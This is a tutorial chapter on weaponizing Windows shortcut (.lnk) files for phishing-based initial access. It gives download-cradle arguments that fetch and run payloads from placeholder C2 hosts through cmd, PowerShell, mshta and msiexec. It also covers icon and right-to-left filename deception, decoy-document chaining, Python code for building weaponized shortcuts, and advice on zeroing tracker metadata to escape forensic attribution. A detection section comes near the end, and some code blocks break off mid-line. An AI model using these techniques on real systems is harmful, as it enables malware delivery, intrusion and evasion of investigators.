LNK File Weaponization
Windows Shell Link files (.lnk) are shortcuts — they tell Explorer which executable to launch and with which arguments. Attackers weaponize them by pointing a shortcut at a legitimate Windows binary (a LOLBin), passing it a malicious argument string, and displaying a convincing icon. The victim sees what looks like a PDF, a Word document, or a folder — and double-clicking it runs an arbitrary command. LNK abuse became the dominant initial access technique after Microsoft's 2022 macro blocking change, used by APT29, Emotet, BazarLoader, and nearly every commodity malware family that distributes via phishing. This chapter explains the LNK binary format, teaches every weaponization technique, builds tools to create malicious LNK files programmatically, and maps the complete detection footprint.
The LNK Binary Format
A .lnk file is a Windows Shell Link — documented in MS-SHLLINK specification. Understanding the format matters because you'll need to create them programmatically, hide evidence in them, and understand what forensic tools extract from them:
Offset │ Size │ Field │ Description
────────┼─────────┼───────────────────────┼────────────────────────────────────────
0x00 │ 4 │ HeaderSize = 0x4C │ Always 0x4C (76 bytes)
0x04 │ 16 │ LinkCLSID │ Always 00021401-0000-0000-C000-000000000046
0x14 │ 4 │ LinkFlags │ Bitmask: HasTargetIDList, HasLinkInfo, etc.
0x18 │ 4 │ FileAttributes │ Target file attributes
0x1C │ 8 │ CreationTime │ FILETIME of target (forensic artifact!)
0x24 │ 8 │ AccessTime │ FILETIME of target
0x2C │ 8 │ WriteTime │ FILETIME of target
0x34 │ 4 │ FileSize │ Size of target file (forensic!)
0x38 │ 4 │ IconIndex │ Index into icon file
0x3C │ 4 │ ShowCommand │ Window state: 1=Normal, 3=Maximized, 7=Min
0x40 │ 2 │ HotKey │ Keyboard shortcut (0 = none)
0x42 │ 10 │ Reserved │ Must be zero
0x4C │ variable│ IDList (optional) │ Shell ID list (path to target)
│ │ LinkInfo (optional) │ Volume, base path, relative path
│ │ StringData (optional) │ Name, relative path, working dir, args, icon
│ │ ExtraData (optional) │ Tracker data (machine GUID, volume ID, etc.)
────────┴─────────┴───────────────────────┴────────────────────────────────────────
LinkFlags bitmask (most important bits):
────────────────────────────────────────────────────────────────────────────────────
0x00000001 HasTargetIDList IDList section present
0x00000002 HasLinkInfo LinkInfo section present (local path info)
0x00000004 HasName Description string present
0x00000008 HasRelativePath Relative path string present
0x00000010 HasWorkingDir Working directory string present
0x00000020 HasArguments Arguments string present ← CRUCIAL for weaponizing
0x00000040 HasIconLocation Custom icon path present ← cosmetic deception
0x00000100 IsUnicode StringData uses Unicode (UTF-16LE)LNK files created on a specific machine contain the machine's NetBIOS name, MAC address, and volume serial number in the ExtraData section (TrackerDataBlock). They also contain the original target's file size and timestamps. An LNK created on an attacker's machine and sent to a victim reveals the attacker's hostname and network adapter MAC. This is exactly what law enforcement used to attribute intrusions. For operational LNK files: null out the TrackerDataBlock (overwrite with zeros), or generate the LNK on a disposable VM with a randomized hostname and MAC.
Basic Weaponization — Pointing to a LOLBin
The core technique: the LNK target is a legitimate, trusted, signed Windows binary. The malicious behavior is in the arguments string. Explorer uses the icon path (also in the LNK) to display a convincing icon:
What the victim sees: ┌──────────────────────────────────────────────┐ │ 📄 Invoice_2024_Q1.pdf │ │ PDF Document │ └──────────────────────────────────────────────┘ What the LNK file contains: ┌──────────────────────────────────────────────────────────────────┐ │ Target: C:\Windows\System32\cmd.exe │ │ Arguments: /c powershell.exe -w h -ep bypass -c "IEX(iwr...)"│ │ Icon: C:\Program Files\Adobe\Acrobat DC\Acrobat.exe, 0 │ │ → displays the Adobe Acrobat icon │ │ Working dir: %TEMP% │ └──────────────────────────────────────────────────────────────────┘ When victim double-clicks: 1. Explorer reads the LNK 2. Spawns: C:\Windows\System32\cmd.exe /c powershell.exe -w h ... 3. Parent process: explorer.exe (looks normal) 4. Child process: cmd.exe with malicious arguments 5. AV scans: cmd.exe is clean; content of PS script is the payload
Common LOLBin targets for LNK
Binary │ Arguments for payload delivery │ Parent shows as ────────────────────┼─────────────────────────────────────────┼──────────────────────── cmd.exe │ /c powershell.exe -w h -c "IEX..." │ explorer.exe → cmd.exe powershell.exe │ -w h -ep bypass -c "IEX(iwr ...)" │ explorer.exe → PS.exe mshta.exe │ http://c2/payload.hta │ explorer.exe → mshta.exe wscript.exe │ //b payload.js │ explorer.exe → wscript rundll32.exe │ payload.dll,EntryPoint │ explorer.exe → rundll32 forfiles.exe │ /p C:\Windows /m notepad.exe /c "cmd /c"│ explorer.exe → forfiles msiexec.exe │ /q /i https://c2/pkg.msi │ explorer.exe → msiexec ────────────────────┼─────────────────────────────────────────┼──────────────────────── Best choice (2024): mshta.exe is cleaner than cmd→PS chain. explorer.exe → mshta.exe with a remote HTA is a relatively common enough pattern that it doesn't stand out in basic Sysmon rules.
The 4096-Character Argument Limit
The LNK Arguments string field has a maximum of ~4096 characters. This limits how much inline script you can put directly in the LNK. The constraint forces a specific architecture: the LNK can only contain a small cradle (download stager), not a full payload. This is actually good for detection evasion too — a shorter, simpler command line is less signatured than a 2000-character Base64 blob.
The design pattern that follows from this limit:
LNK contains only a tiny cradle (stays under 200 characters):
Target: C:\Windows\System32\mshta.exe
Arguments: https://cdn.legit.example.com/loader.hta
Or:
Target: C:\Windows\System32\cmd.exe
Arguments: /c powershell -w h -c "iex(iwr 'https://c2/stage0.ps1')"
Stage0.ps1 (~500 bytes, downloaded at runtime):
→ Downloads and executes stage1 (the actual loader)
→ Stage1 downloads stage2 (the full beacon)
The LNK itself contains no payload bytes — just the network address.
If the C2 is down, the chain silently fails (no forensic evidence of what would have run).
Icon Deception — Making LNK Look Like a Document
The icon displayed by Windows Explorer for a LNK file comes from the IconLocation field, not the target binary. You can point it at any .ico, .exe, .dll, or .icl file. This is how an LNK targeting cmd.exe displays a PDF icon:
Icon tricks:
1. Adobe PDF icon:
IconLocation: C:\Program Files\Adobe\Acrobat DC\Acrobat.exe
IconIndex: 0
(Acrobat.exe contains the PDF icon at index 0)
Works only if Acrobat is installed on victim machine.
2. Generic PDF icon (always present):
IconLocation: %SystemRoot%\system32\shell32.dll
IconIndex: 222 (generic document icon)
Better: always available, doesn't reveal assumptions about installed software.
3. Word document icon:
IconLocation: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
IconIndex: 0
Or from shell32.dll: IconIndex = 1 (generic text file)
4. Folder icon (LNK disguised as a folder):
IconLocation: %SystemRoot%\system32\shell32.dll
IconIndex: 4 (folder icon)
Combined with filename: "Documents" or "Downloads" → victim thinks it's a folder
5. Name trick — change extension appearance:
Filename: "Invoice_PDF gnp.lnk" (RTL override character )
Display: "Invoice_PDF lnk.png" (characters after are reversed)
This makes the file appear to have a .png extension while it's actually .lnk.
Note: modern Windows sometimes shows the actual extension anyway.
Creating Weaponized LNK Files — Python
pylnk3 is the simplest Python library for creating LNK files. For full control over every field (including zeroing the TrackerDataBlock), writing directly to the binary format is more reliable:
"""
Create a weaponized .lnk file using pylnk3.
pip install pylnk3
"""
import lnk
def create_weaponized_lnk(
output_path: str,
target_binary: str, # e.g. r"C:\Windows\System32\mshta.exe"
arguments: str, # e.g. "https://c2/loader.hta"
icon_path: str, # e.g. r"C:\Windows\System32\shell32.dll"
icon_index: int = 222,
working_dir: str = r"%TEMP%"
):
lnk_file = lnk.lnk_file()
lnk_file.work_dir = working_dir
# Set the target path (goes in IDList and LinkInfo)
lnk_file.link_flags.HasLinkInfo = True
lnk_file.link_flags.HasArguments = True
lnk_file.link_flags.HasIconLocation = True
lnk_file.link_flags.IsUnicode = True
# Build the link info (local volume path)
lnk_file.lnkinfo.drive_type = 3 # DRIVE_FIXED
lnk_file.lnkinfo.drive_serial = 0xDEADC0DE
lnk_file.lnkinfo.local_base_path = target_binary
# String data fields
lnk_file.arguments = arguments
lnk_file.icon_location = icon_path
lnk_file.icon_index = icon_index
lnk_file.save(output_path)
print(f"Created: {output_path}")
print(f" Target: {target_binary}")
print(f" Arguments: {arguments[:80]}...")
print(f" Icon: {icon_path},{icon_index}")
# Example: LNK disguised as PDF that runs mshta
create_weaponized_lnk(
output_path="Invoice_2024_Q1.pdf.lnk",
target_binary=r"C:\Windows\System32\mshta.exe",
arguments="https://cdn.cloudflare.example.com/assets/loader.hta",
icon_path=r"%SystemRoot%\system32\shell32.dll",
icon_index=222
)
Manual Binary Construction (Full Control)
"""
Build a minimal weaponized LNK file from scratch using struct.
This approach lets you zero out the TrackerDataBlock (OPSEC).
"""
import struct
def build_lnk_header(
file_attributes=0x20, # FILE_ATTRIBUTE_ARCHIVE
show_cmd=1 # SW_SHOWNORMAL (1), SW_SHOWMINNOACTIVE (7)
):
"""Build the 76-byte LNK header."""
header = b''
header += struct.pack(' bytes:
"""CountCharacters (2 bytes) + UTF-16LE string."""
encoded = s.encode('utf-16-le')
count = len(s)
return struct.pack('
Zeroing TrackerDataBlock — OPSEC
The TrackerDataBlock is an ExtraData section that most LNK files contain automatically. It stores the original machine's volume GUID, machine hostname, and MAC address — the forensic metadata that investigators use to trace LNK files back to the machine they were created on. The fix: after creating the LNK, find and zero the tracker block:
import struct
# TrackerDataBlock signature:
# {00000000-0000-0000-0000-000000000000} in CLSID format
# Actually identified by ExtraDataBlock signature:
# BlockSize (4 bytes), BlockSignature = 0xA0000003 (4 bytes)
TRACKER_SIG = struct.pack('
Multi-Payload LNK — Running Multiple Commands
A single LNK can run a sequence of actions by chaining commands with && inside a cmd.exe argument, or by using a script file that the LNK launches. This enables: decoy document display + payload execution in a single click:
LNK Arguments with decoy + payload:
Target: C:\Windows\System32\cmd.exe
Arguments: /c start "" "\\%TEMP%\decoy.pdf" && powershell -w h -c "IEX(iwr 'https://c2/s.ps1')"
This:
1. Opens the decoy PDF (copied from the same ISO/ZIP the LNK came in)
2. Simultaneously runs the PowerShell download cradle
3. Victim sees PDF open and thinks the click worked normally
The decoy is critical for social engineering:
Without decoy: victim clicks "Invoice.pdf.lnk" → nothing visible happens
→ victim knows something is wrong → might report to IT
With decoy: victim clicks → PDF opens → assumes everything worked
→ no report → longer dwell time
Decoy setup:
Delivery container (ISO/ZIP) contains:
├── Invoice_2024_Q1.pdf.lnk ← the weapon (victim clicks this)
├── Invoice_2024_Q1.pdf ← decoy (opened by the LNK)
└── helper.vbs ← optional: additional launcher
LNK argument references the PDF by relative path:
/c start "" "%CD%\Invoice_2024_Q1.pdf" && powershell -w h ...
Detection Footprint
Detection source │ Event │ What triggers it
─────────────────────┼──────────────────────────────────────────┼──────────────────────────
Sysmon 1 │ explorer.exe → cmd.exe (child process) │ LNK target = cmd.exe
Sysmon 1 │ explorer.exe → mshta.exe │ LNK target = mshta.exe
Sysmon 1 │ explorer.exe → powershell.exe │ LNK target = PS directly
Sysmon 1 │ cmd.exe → powershell.exe │ cmd /c powershell in args
Sysmon 3 │ mshta.exe / PS → outbound network │ HTA download / cradle
Sysmon 22 │ DNS query for C2 domain │ outbound connection
Sysmon 4688 │ Process create with suspicious cmdline │ IEX, iwr, WebClient in args
Windows Security │ Event 4688: process creation │ with full command line audit
LNK analysis tool │ Forensic tools read lnk metadata │ Machine GUID, MAC in tracker
Key command-line detection rules (SOC commonly uses):
─────────────────────────────────────────────────────────────────────────────────────
• parent:explorer.exe + child:mshta.exe + commandline contains "http"
• parent:explorer.exe + child:powershell.exe + commandline contains "-w"
• parent:explorer.exe + child:cmd.exe + commandline contains "powershell"
• parent:cmd.exe + child:powershell.exe + commandline contains "iex" or "iwr"
• commandline contains "bypass" + outbound network connection
Detection gaps exploited:
─────────────────────────────────────────────────────────────────────────────────────
• LNK files themselves are not scanned by most AV (they're just shortcuts)
• If LNK launches mshta.exe with a remote URL, the payload is downloaded
at runtime — nothing signaturable in the LNK file itself
• No Office application involved → no VBA/XLM detection paths fireQuestions & Answers
Why did LNK abuse explode after Microsoft's 2022 macro blocking change?
Microsoft's 2022 change blocked VBA and XLM macros in documents with MOTW (Mark of the Web) — the primary delivery mechanism for macro-based phishing. Attackers needed an alternative initial access path that: (a) could be delivered as an email attachment or browser download; (b) didn't require Office; (c) wasn't macro-based. LNK files satisfy all three. They're supported natively by Windows (no Office required), they execute via Explorer, they can carry arbitrary command-line arguments to LOLBins, and they have a history of low detection (most AV doesn't scan LNK files beyond checking for suspicious argument strings). The shift happened within weeks of the macro blocking announcement — campaigns like Emotet, TA505, and QBot all switched from .docm to .lnk-in-ISO delivery chains in 2022.
What does the TrackerDataBlock contain and how is it used forensically?
The TrackerDataBlock (ExtraData block signature 0xA0000003) is a 96-byte structure containing: a version number, a machine ID (NetBIOS hostname as ASCII), and two DROID (Distributed link Tracking) values that encode the volume GUID and object GUID of the original target file. The machine ID is the NetBIOS hostname of the machine where the LNK was created. In multiple real-world threat intelligence cases, investigators identified attacker infrastructure by extracting the hostname from delivered LNK files — hostnames like "DESKTOP-[random]" or "WORKSTATION-1" that showed up in other campaign artifacts and allowed pivoting. Zero the block or create LNKs on a VM with a generic hostname (e.g., "DESKTOP-PC") to prevent this attribution path.
Does Windows Smart Screen check LNK files?
Windows Defender SmartScreen checks the reputation of files with MOTW when they're executed. For a .lnk file downloaded from the internet, SmartScreen may display a reputation warning before execution. This warning shows the publisher (unsigned = "Unknown publisher"), the file name, and the program it runs. It does NOT show the full argument string that the LNK would execute — so a victim clicking through a SmartScreen warning for what they think is a PDF sees "Unknown publisher" but not the cmd.exe /c powershell... that will actually run. The SmartScreen check uses file reputation (hash-based) — a newly generated, unique LNK file has no reputation and may not show the warning at all on some configurations, only the UAC-level check.
Can the LNK target path contain environment variables?
Yes. The LNK format supports environment variable substitution in the target path via an EnvironmentVariableDataBlock (ExtraData type 0xA0000001). This lets you write targets like %SystemRoot%\System32\cmd.exe or %ComSpec% instead of hardcoded paths like C:\Windows\System32\cmd.exe. Using environment variables has mild evasion benefits: the LNK doesn't contain a hardcoded path that static analysis can match, and it remains valid even if the target system has Windows installed on a non-C drive. The downside is that some analysis tools display the resolved path rather than the variable, making it less confusing to forensicators.
What's the best LOLBin to use as an LNK target in 2024?
The answer depends on what you're trying to avoid and what the target environment monitors. For a basic setup: mshta.exe pointing directly at a remote HTA URL is clean — one process, remote execution, no cmd.exe intermediary. The detection signal is "explorer.exe → mshta.exe with a URL argument" which many organizations alert on, but it's cleaner than the three-process chain of explorer → cmd → powershell. For environments that block or monitor mshta: forfiles.exe is useful and less monitored, but limited in what you can pass. For maximum flexibility: cmd.exe with carefully crafted arguments, accepting that the parent-child chain is visible. The real insight is that no LOLBin is permanently safe — they cycle through the threat intelligence radar and defenders add rules. The advantage of LNK is the social engineering and the lack of file content scanning, not a permanently safe LOLBin.